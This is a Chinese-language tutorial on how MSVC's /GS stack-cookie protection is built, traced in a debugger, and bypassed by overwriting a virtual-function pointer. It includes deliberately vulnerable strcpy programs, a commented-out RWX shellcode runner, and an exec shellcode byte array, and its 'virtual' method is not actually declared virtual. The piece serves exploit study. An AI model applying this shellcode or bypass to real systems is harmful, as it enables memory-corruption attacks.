大多數溢出漏洞產生的原因是由於數組越界,導致溢出。首先要明白溢出漏洞這個我在很早前就寫過爛大街的文章了
我們知道大部分的溢出攻擊主要是覆蓋程序函數的返回地址那么看完再講講GS的工作流程=檢測某些覆蓋函數的返回地址、異常處理程序地址(SEH)或者類型參數的緩沖區溢出。在執行緩沖區溢出時會有安全檢查GS 緩沖區。 GS 緩沖區可以是下列之一:
+++++++++++++++++++++++++++++
char buffer[20];
int buffer[20];
struct { int a; int b; int c; int d; } myStruct;
struct { int a; char buf[20]; };
但是,以下語句不聲明 GS 緩沖區。 前兩個聲明包含指針類型的元素。 第三個和第四個語句聲明的數組太小。 第五個語句聲明一個結構,其大小在 x86 平台不超過 8 個字節。
+++++++++++++++++++++++++++++
char *pBuf[20];
void *pv[20];
char buf[4];
int buf[2];
struct { int a; int b; };
一個數組,大於 4 個字節,超過兩個元素,並且具有不是指針類型的元素類型。一種數據結構,其大小超過 8 個字節,不包含指針。通過使用分配的緩沖區_alloca函數。任何類或結構,其中包含 GS 緩沖區。
例如,以下語句聲明 GS 緩沖區。
從MSDN的官宣可以知道什么情況下可以申明GS,什么情況下是不可以。
GS編譯器選項要求使用 COOKIE 的任何函數運行之前初始化安全 COOKIE。 在進入 EXE 或 DLL,必須立即初始化安全 COOKIE。如果使用默認 VCRuntime 入口點會自動完成: mainCRTStartup,wmainCRTStartup,WinMainCRTStartup,wWinMainCRTStartup,或 _DllMainCRTStartup。如果使用備用的入口點,必須通過調用手動初始化的安全 cookie __security_init_cookie這個就是后話了,當科普。
那么為了進一步了解GS,動手測試一下吧。
新建項目那么編譯之前我們先關閉其他的一些機制,只開啟GS的安全檢查。
開啟GS
+++++++++++++++++++++++++++++
void fun(const char * D)
{
char buf[10];
strcpy_s(buf, D);
}
int _tmain(int argc, _TCHAR* argv[])
{
fun("aaaaaaaaaaaaaaa");
return 0;
}
+++++++++++++++++++++++++++++
運行崩潰,載入Debugger。
查看堆棧空間
載入的15個字節的A,但是會發現真正入棧的只有9個A而多余都被舍去。
用可以看到有這么一行。
用OD分析Security_Check_Cookie流程
可以看到在執行我們的函數之前先CALL了一個地址。
CALL正是Security-cookie,下面分析流程。
00412EA0 > 55 push ebp
00412EA1 8BEC mov ebp,esp
00412EA3 83EC 14 sub esp,0x14
00412EA6 C745 F4 0000000>mov dword ptr ss:[ebp-0xC],0x0
00412EAD C745 F8 0000000>mov dword ptr ss:[ebp-0x8],0x0
00412EB4 813D 00804100 4>cmp dword ptr ds:[__security_cookie],0xBB40E64E
00412EBE 74 1F je short 00412EDF
00412EC0 A1 00804100 mov eax,dword ptr ds:[__security_cookie]
00412EC5 25 0000FFFF and eax,0xFFFF0000
00412ECA 74 13 je short 00412EDF
00412ECC 8B0D 00804100 mov ecx,dword ptr ds:[__security_cookie]
00412ED2 F7D1 not ecx
00412ED4 890D 04804100 mov dword ptr ds:[__security_cookie_complement],ecx
00412EDA E9 9A000000 jmp 00412F79
00412EDF 8D55 F4 lea edx,dword ptr ss:[ebp-0xC]
00412EE2 52 push edx
從反匯編窗口可以看出進行了一個比較然后取COOKIE之后存儲然后生成一個新的COOKIE那么要生成新的COOKIE,函數首先會查詢當前系統的時間也就是GetSystemTimeAsFileTime然后XOR生成新的保存至eax這是第一部分要做的事
第二部分GetCurrentThreadId開始獲取了進程標識符然后XOR作為COOKIE的第二部分。
TEB第一個指向SHE,第二個指向了自身ID。
第三部分組成就是GetCurrentProcessId由線程標識符XOR了。
第四部分通過GetTickCount獲取執行的毫秒數XOR作為COOKIE的第四部分。
003115D1 |. 8945 FC mov [local.1],eax
003115D4 |. FF15 04203100 call dword ptr ds:[<&KERNEL32.GetCurrentThreadId>] ; [GetCurrentThreadId
003115DA |. 3145 FC xor [local.1],eax
003115DD |. FF15 08203100 call dword ptr ds:[<&KERNEL32.GetCurrentProcessId>] ; [GetCurrentProcessId
003115E3 |. 3145 FC xor [local.1],eax
003115E6 |. 8D45 EC lea eax,[local.5]
003115E9 |. 50 push eax ; /pPerformanceCount
003115EA |. FF15 0C203100 call dword ptr ds:[<&KERNEL32.QueryPerformanceCounter>] ; \QueryPerformanceCounter
最后通過QueryPerformanceCounter獲取性能計算器值異或XOR為第五部分的COOKIE。
當strcpy函數跑完后會進行一個COOKIE值比較,不相等就跳到了IsProcessorFeaturePresent。
跟完后發現他在函數執行之前就把COOKIE取出來PUSH到了堆棧當中,用於函數執行后的比較。
基本上門清了一下流程,當然GS不是萬能的在某種情況下是不受保護的。官方也說明了:
什么是不受保護
/GS編譯器選項不能防止所有緩沖區溢出安全攻擊。 例如,如果在對象中有一個緩沖區和 vtable,緩沖區溢出可能會損壞 vtable。即使使用 /GS,始終應該嘗試編寫安全代碼沒有緩沖區溢出。
MSDN已經告訴我們了,一個虛表函數就可以繞過GS.
從現存的資料有這么幾種方式:
1、攻擊S.E.H
1、通過猜測cookies值繞過
2、通過覆蓋虛函數指針繞過
3、等
這里我先拿簡單的通過覆蓋虛函數指針來舉例,剩下的幾種方法我會從下篇文章中一一列舉。
那么就定義一個虛表函數來嘗試繞過GS保護機制
// GS.cpp : 定義控制台應用程序的入口點。
//
#include "stdafx.h"
#include <string.h>
#include <windows.h>
class TestGS
{
public:
void test(char* src)
{
char buf[8];
strcpy(buf, src);
test2(); //調用
}
void test2()//虛函數
{
}
};
int main()
{
TestGS test;
test.test("AAAAAAAAAAAAAAAAAAAA");
return 0;
}
shellcode
/*LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();*/
//unsigned char buf[] =
//"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
//"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
//"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
//"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
//"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
//"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
//"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
//"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
//"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
//"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
//"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
//"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
//"\x00\x53\xff\xd5\x6e\x6f\x74\x65\x70\x61\x64\x2e\x65\x78\x65"
//"\x00";
編譯后運行崩潰,用ICE進行調試。
第一個CALL 生成Security-cookie
跟第二個CALL進去,從中會遇到很多函數別去管他找到入口。
再跟進到Strcpy函數。
使用JE指令來依次壓棧,這里插入個題外話可以去跟一下各種復制字符串到地址空間的匯編代碼,收獲會有很多。這里發一下我自己跟的。
strcpy
00401000 /$ 55 push ebp
00401001 |. 8BEC mov ebp,esp
00401003 |. 83EC 08 sub esp,0x8
00401006 |. 33C0 xor eax,eax
00401008 |. EB 06 jmp short 00401010
0040100A | 8D9B 00000000 lea ebx,dword ptr ds:[ebx]
00401010 |> 8A88 20214000 /mov cl,byte ptr ds:[eax+0x402120]
00401016 |. 8D40 01 |lea eax,dword ptr ds:[eax+0x1]
00401019 |. 84C9 |test cl,cl
0040101B |.^ 75 F3 \jnz short 00401010
0040101D |. 8BE5 mov esp,ebp
0040101F |. 5D pop ebp
00401020 \. C2 0400 retn 0x4
scanf
706AEA32 > 55 push ebp
706AEA33 8BEC mov ebp, esp
706AEA35 8B4D 08 mov ecx, dword ptr [ebp+8]
706AEA38 FF49 04 dec dword ptr [ecx+4]
706AEA3B 78 0C js short 706AEA49
706AEA3D 8B01 mov eax, dword ptr [ecx]
706AEA3F 0FB610 movzx edx, byte ptr [eax]
706AEA42 40 inc eax
706AEA43 8901 mov dword ptr [ecx], eax
706AEA45 8BC2 mov eax, edx
還有像fopen等等。
當我們進入到Strcpy函數后單步走的注意力看着堆棧的變化
然后當我們Strcpy函數執行完后可以看到我們的虛函數TEST2的CALL
當mov edx,dword ptr ds:[eax] 獲取到EAX的地址后我們就可以覆蓋到虛函數指針的地址然后JMP我們的shellcode。具體計算我們可以使用:
虛表指針地址-字符串堆棧地址=要覆蓋的字數
從中的COOKIE在虛表函數后再進行校驗,而我們的SHELLCODE早就執行完了。
但這種方式在實際過程中對使用者技術難度相對要求稍微高一點。就到這吧動手的活留給大家琢磨了,關於shellcode的生成搞web就不陌生了,可以使用自己寫的代碼然后取機器碼無非就是自己動手累一點了,我比較喜歡用現成的metasploit了。
剩下的幾種方式會在下節文章中列舉,Thanks。